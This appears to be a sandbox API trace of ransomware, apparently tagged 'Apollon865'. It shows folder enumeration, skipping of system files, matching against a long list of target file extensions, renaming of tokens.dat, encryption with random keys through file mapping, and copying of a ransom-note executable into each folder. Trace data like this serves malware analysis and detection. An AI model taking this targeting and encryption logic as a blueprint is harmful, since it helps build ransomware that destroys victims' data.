	[0080.445] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2f9f0d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9f0d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0080.445] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.445] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0080.445] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0080.445] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2f9f0d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9f0d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.445] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.445] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0080.445] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0080.445] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0080.445] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2fa16ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fa16ed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0080.445] lstrcmpiW (lpString1="Cache", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.445] lstrcmpiW (lpString1="Cache", lpString2="Apollon865.txt.exe") returned 1
	[0080.445] lstrcmpiW (lpString1="Cache", lpString2=".") returned 1
	[0080.445] lstrcmpiW (lpString1="Cache", lpString2="..") returned 1
	[0080.445] lstrcmpiW (lpString1="Cache", lpString2="windows") returned -1
	[0080.445] lstrcmpiW (lpString1="Cache", lpString2="bootmgr") returned 1
	[0080.445] lstrcmpiW (lpString1="Cache", lpString2="temp") returned -1
	[0080.445] lstrcmpiW (lpString1="Cache", lpString2="pagefile.sys") returned -1
	[0080.445] lstrcmpiW (lpString1="Cache", lpString2="boot") returned 1
	[0080.446] lstrcmpiW (lpString1="Cache", lpString2="ids.txt") returned -1
	[0080.446] lstrcmpiW (lpString1="Cache", lpString2="ntuser.dat") returned -1
	[0080.446] lstrcmpiW (lpString1="Cache", lpString2="perflogs") returned -1
	[0080.446] lstrcmpiW (lpString1="Cache", lpString2="MSBuild") returned -1
	[0080.446] lstrlenW (lpString="Cache") returned 5
	[0080.446] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*") returned 63
	[0080.446] lstrcpyW (in: lpString1=0x119e684, lpString2="Cache" | out: lpString1="Cache") returned="Cache"
	[0080.446] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0080.446] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b8f28
	[0080.446] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c10 | out: ListHead=0x5b75f0, ListEntry=0x5b7c10) returned 0x5b7cb0
	[0080.446] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9f0d70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f9f0d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0080.446] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0080.446] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469bd5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 1
	[0080.446] lstrcmpiW (lpString1="tokens.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.446] lstrcmpiW (lpString1="tokens.dat", lpString2="Apollon865.txt.exe") returned 1
	[0080.446] lstrcmpiW (lpString1="tokens.dat", lpString2=".") returned 1
	[0080.446] lstrcmpiW (lpString1="tokens.dat", lpString2="..") returned 1
	[0080.446] lstrcmpiW (lpString1="tokens.dat", lpString2="windows") returned -1
	[0080.446] lstrcmpiW (lpString1="tokens.dat", lpString2="bootmgr") returned 1
	[0080.446] lstrcmpiW (lpString1="tokens.dat", lpString2="temp") returned 1
	[0080.446] lstrcmpiW (lpString1="tokens.dat", lpString2="pagefile.sys") returned 1
	[0080.446] lstrcmpiW (lpString1="tokens.dat", lpString2="boot") returned 1
	[0080.446] lstrcmpiW (lpString1="tokens.dat", lpString2="ids.txt") returned 1
	[0080.446] lstrcmpiW (lpString1="tokens.dat", lpString2="ntuser.dat") returned 1
	[0080.446] lstrcmpiW (lpString1="tokens.dat", lpString2="perflogs") returned 1
	[0080.446] lstrcmpiW (lpString1="tokens.dat", lpString2="MSBuild") returned 1
	[0080.446] lstrlenW (lpString="tokens.dat") returned 10
	[0080.446] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned 67
	[0080.446] lstrcpyW (in: lpString1=0x119e684, lpString2="tokens.dat" | out: lpString1="tokens.dat") returned="tokens.dat"
	[0080.446] lstrlenW (lpString="tokens.dat") returned 10
	[0080.446] lstrlenW (lpString="Apollon865") returned 10
	[0080.446] lstrlenW (lpString=".dll") returned 4
	[0080.446] lstrcmpiW (lpString1="tokens.dat", lpString2=".dll") returned 1
	[0080.446] lstrlenW (lpString=".lnk") returned 4
	[0080.446] lstrcmpiW (lpString1="tokens.dat", lpString2=".lnk") returned 1
	[0080.446] lstrlenW (lpString=".ini") returned 4
	[0080.446] lstrcmpiW (lpString1="tokens.dat", lpString2=".ini") returned 1
	[0080.446] lstrlenW (lpString=".sys") returned 4
	[0080.447] lstrcmpiW (lpString1="tokens.dat", lpString2=".sys") returned 1
	[0080.447] lstrlenW (lpString="tokens.dat") returned 10
	[0080.447] lstrlenW (lpString="bak") returned 3
	[0080.447] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1
	[0080.447] lstrlenW (lpString="ba_") returned 3
	[0080.447] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1
	[0080.447] lstrlenW (lpString="dbb") returned 3
	[0080.447] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1
	[0080.447] lstrlenW (lpString="vmdk") returned 4
	[0080.447] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1
	[0080.447] lstrlenW (lpString="rar") returned 3
	[0080.447] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1
	[0080.447] lstrlenW (lpString="zip") returned 3
	[0080.447] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1
	[0080.447] lstrlenW (lpString="tgz") returned 3
	[0080.447] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1
	[0080.447] lstrlenW (lpString="vbox") returned 4
	[0080.447] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1
	[0080.447] lstrlenW (lpString="vdi") returned 3
	[0080.447] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1
	[0080.447] lstrlenW (lpString="vhd") returned 3
	[0080.447] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1
	[0080.447] lstrlenW (lpString="vhdx") returned 4
	[0080.447] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1
	[0080.447] lstrlenW (lpString="avhd") returned 4
	[0080.447] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1
	[0080.447] lstrlenW (lpString="db") returned 2
	[0080.447] lstrcmpiW (lpString1="at", lpString2="db") returned -1
	[0080.447] lstrlenW (lpString="db2") returned 3
	[0080.447] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1
	[0080.447] lstrlenW (lpString="db3") returned 3
	[0080.447] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1
	[0080.447] lstrlenW (lpString="dbf") returned 3
	[0080.447] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1
	[0080.447] lstrlenW (lpString="mdf") returned 3
	[0080.447] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1
	[0080.447] lstrlenW (lpString="mdb") returned 3
	[0080.447] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1
	[0080.447] lstrlenW (lpString="sql") returned 3
	[0080.448] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1
	[0080.448] lstrlenW (lpString="sqlite") returned 6
	[0080.448] lstrcmpiW (lpString1="ns.dat", lpString2="sqlite") returned -1
	[0080.448] lstrlenW (lpString="sqlite3") returned 7
	[0080.448] lstrcmpiW (lpString1="ens.dat", lpString2="sqlite3") returned -1
	[0080.448] lstrlenW (lpString="sqlitedb") returned 8
	[0080.448] lstrcmpiW (lpString1="kens.dat", lpString2="sqlitedb") returned -1
	[0080.448] lstrlenW (lpString="xml") returned 3
	[0080.448] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1
	[0080.448] lstrlenW (lpString="$er") returned 3
	[0080.448] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1
	[0080.448] lstrlenW (lpString="4dd") returned 3
	[0080.448] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1
	[0080.448] lstrlenW (lpString="4dl") returned 3
	[0080.448] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1
	[0080.448] lstrlenW (lpString="^^^") returned 3
	[0080.448] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1
	[0080.448] lstrlenW (lpString="abs") returned 3
	[0080.448] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1
	[0080.448] lstrlenW (lpString="abx") returned 3
	[0080.448] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1
	[0080.448] lstrlenW (lpString="accdb") returned 5
	[0080.448] lstrcmpiW (lpString1="s.dat", lpString2="accdb") returned 1
	[0080.448] lstrlenW (lpString="accdc") returned 5
	[0080.448] lstrcmpiW (lpString1="s.dat", lpString2="accdc") returned 1
	[0080.448] lstrlenW (lpString="accde") returned 5
	[0080.448] lstrcmpiW (lpString1="s.dat", lpString2="accde") returned 1
	[0080.448] lstrlenW (lpString="accdr") returned 5
	[0080.448] lstrcmpiW (lpString1="s.dat", lpString2="accdr") returned 1
	[0080.448] lstrlenW (lpString="accdt") returned 5
	[0080.448] lstrcmpiW (lpString1="s.dat", lpString2="accdt") returned 1
	[0080.448] lstrlenW (lpString="accdw") returned 5
	[0080.448] lstrcmpiW (lpString1="s.dat", lpString2="accdw") returned 1
	[0080.448] lstrlenW (lpString="accft") returned 5
	[0080.448] lstrcmpiW (lpString1="s.dat", lpString2="accft") returned 1
	[0080.448] lstrlenW (lpString="adb") returned 3
	[0080.448] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0080.448] lstrlenW (lpString="adb") returned 3
	[0080.449] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0080.449] lstrlenW (lpString="ade") returned 3
	[0080.449] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1
	[0080.449] lstrlenW (lpString="adf") returned 3
	[0080.449] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1
	[0080.449] lstrlenW (lpString="adn") returned 3
	[0080.449] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1
	[0080.449] lstrlenW (lpString="adp") returned 3
	[0080.449] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1
	[0080.449] lstrlenW (lpString="alf") returned 3
	[0080.449] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1
	[0080.449] lstrlenW (lpString="ask") returned 3
	[0080.449] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1
	[0080.449] lstrlenW (lpString="btr") returned 3
	[0080.449] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1
	[0080.449] lstrlenW (lpString="cat") returned 3
	[0080.449] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1
	[0080.449] lstrlenW (lpString="cdb") returned 3
	[0080.449] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1
	[0080.449] lstrlenW (lpString="ckp") returned 3
	[0080.449] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1
	[0080.449] lstrlenW (lpString="cma") returned 3
	[0080.449] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1
	[0080.449] lstrlenW (lpString="cpd") returned 3
	[0080.449] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1
	[0080.449] lstrlenW (lpString="dacpac") returned 6
	[0080.449] lstrcmpiW (lpString1="ns.dat", lpString2="dacpac") returned 1
	[0080.449] lstrlenW (lpString="dad") returned 3
	[0080.449] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1
	[0080.449] lstrlenW (lpString="dadiagrams") returned 10
	[0080.449] lstrlenW (lpString="daschema") returned 8
	[0080.449] lstrcmpiW (lpString1="kens.dat", lpString2="daschema") returned 1
	[0080.449] lstrlenW (lpString="db-journal") returned 10
	[0080.449] lstrlenW (lpString="db-shm") returned 6
	[0080.449] lstrcmpiW (lpString1="ns.dat", lpString2="db-shm") returned 1
	[0080.449] lstrlenW (lpString="db-wal") returned 6
	[0080.449] lstrcmpiW (lpString1="ns.dat", lpString2="db-wal") returned 1
	[0080.449] lstrlenW (lpString="dbc") returned 3
	[0080.450] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1
	[0080.450] lstrlenW (lpString="dbs") returned 3
	[0080.450] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1
	[0080.450] lstrlenW (lpString="dbt") returned 3
	[0080.450] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1
	[0080.450] lstrlenW (lpString="dbv") returned 3
	[0080.450] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1
	[0080.450] lstrlenW (lpString="dbx") returned 3
	[0080.450] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1
	[0080.450] lstrlenW (lpString="dcb") returned 3
	[0080.450] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1
	[0080.450] lstrlenW (lpString="dct") returned 3
	[0080.450] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1
	[0080.450] lstrlenW (lpString="dcx") returned 3
	[0080.450] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1
	[0080.450] lstrlenW (lpString="ddl") returned 3
	[0080.450] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1
	[0080.450] lstrlenW (lpString="dlis") returned 4
	[0080.450] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1
	[0080.450] lstrlenW (lpString="dp1") returned 3
	[0080.450] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1
	[0080.450] lstrlenW (lpString="dqy") returned 3
	[0080.450] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1
	[0080.450] lstrlenW (lpString="dsk") returned 3
	[0080.450] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1
	[0080.450] lstrlenW (lpString="dsn") returned 3
	[0080.450] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1
	[0080.450] lstrlenW (lpString="dtsx") returned 4
	[0080.450] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1
	[0080.450] lstrlenW (lpString="dxl") returned 3
	[0080.450] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1
	[0080.450] lstrlenW (lpString="eco") returned 3
	[0080.450] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1
	[0080.450] lstrlenW (lpString="ecx") returned 3
	[0080.450] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1
	[0080.450] lstrlenW (lpString="edb") returned 3
	[0080.450] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1
	[0080.450] lstrlenW (lpString="epim") returned 4
	[0080.450] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1
	[0080.451] lstrlenW (lpString="fcd") returned 3
	[0080.451] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1
	[0080.451] lstrlenW (lpString="fdb") returned 3
	[0080.451] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1
	[0080.451] lstrlenW (lpString="fic") returned 3
	[0080.451] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1
	[0080.451] lstrlenW (lpString="flexolibrary") returned 12
	[0080.451] lstrlenW (lpString="fm5") returned 3
	[0080.451] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1
	[0080.451] lstrlenW (lpString="fmp") returned 3
	[0080.451] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1
	[0080.451] lstrlenW (lpString="fmp12") returned 5
	[0080.451] lstrcmpiW (lpString1="s.dat", lpString2="fmp12") returned 1
	[0080.451] lstrlenW (lpString="fmpsl") returned 5
	[0080.451] lstrcmpiW (lpString1="s.dat", lpString2="fmpsl") returned 1
	[0080.451] lstrcmpiW (lpString1="dat", lpString2="fol") returned -1
	[0080.451] lstrcmpiW (lpString1="dat", lpString2="fp3") returned -1
	[0080.451] lstrcmpiW (lpString1="dat", lpString2="fp4") returned -1
	[0080.451] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat.Apollon865") returned 83
	[0080.451] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\tokens.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\tokens.dat.apollon865"), dwFlags=0x1) returned 1
	[0080.456] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\tokens.dat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0080.456] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=4627413) returned 1
	[0080.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0080.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0080.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0080.457] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0080.457] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0080.457] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0080.458] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x469ee0, lpName=0x0) returned 0x15c
	[0080.459] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x69ee0) returned 0x210000
	[0080.521] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x2bb0000
	[0080.663] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0080.664] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0080.664] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0080.664] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0080.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0080.664] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0080.664] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0080.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0080.664] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0080.664] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0080.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0080.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0080.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0080.664] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0080.668] CloseHandle (hObject=0x15c) returned 1
	[0080.668] CloseHandle (hObject=0x9c) returned 1
	[0080.668] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0080.668] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0080.668] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0080.677] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469bd5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 0
	[0080.677] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0080.677] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c10
	[0080.677] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache"
	[0080.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0080.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0080.677] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned 67
	[0080.677] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache"
	[0080.677] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0080.678] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0080.679] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0080.679] GetLastError () returned 0x0
	[0080.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0080.679] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0080.679] CloseHandle (hObject=0x10c) returned 1
	[0080.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0080.679] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0080.679] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2fa16ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fa16ed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0080.679] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.679] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0080.680] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0080.680] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2fa16ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fa16ed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.680] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.680] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0080.680] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0080.680] lstrcmpiW (lpString1="..", lpString2="..") returned 0
